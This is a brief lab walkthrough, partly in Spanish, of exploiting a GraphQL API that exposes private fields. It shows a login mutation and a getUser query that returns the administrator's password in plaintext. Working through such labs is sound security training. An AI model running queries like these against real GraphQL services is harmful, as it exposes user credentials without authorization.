2 - Accidental exposure of private GraphQL fields
request
mutation login($input: LoginInput!) {
login(input: $input) {
token
success
}
}
{"input":{
"username":"wiener",
"password":"peter"
}
}
response
{
"data": {
"login": {
"token": "PKlPc6qrV9uMQyAcgwLqmGLfrujxFaEo",
"success": true
}
}
}
Buscamos y vemos que hay una query que nos permite obtener información del administrador:
query{
getUser(id: 1) {
id
username
password
}
}
{"query":"query{\n\tgetUser(id: 1) {\r\n\t\t\tid\n\t\t\tusername\n\t\t\tpassword\r\n\t}\n}"}
respuesta:
{
"data": {
"getUser": {
"id": 1,
"username": "administrator",
"password": "psqgud000ux6d78ttmbq"
}
}
}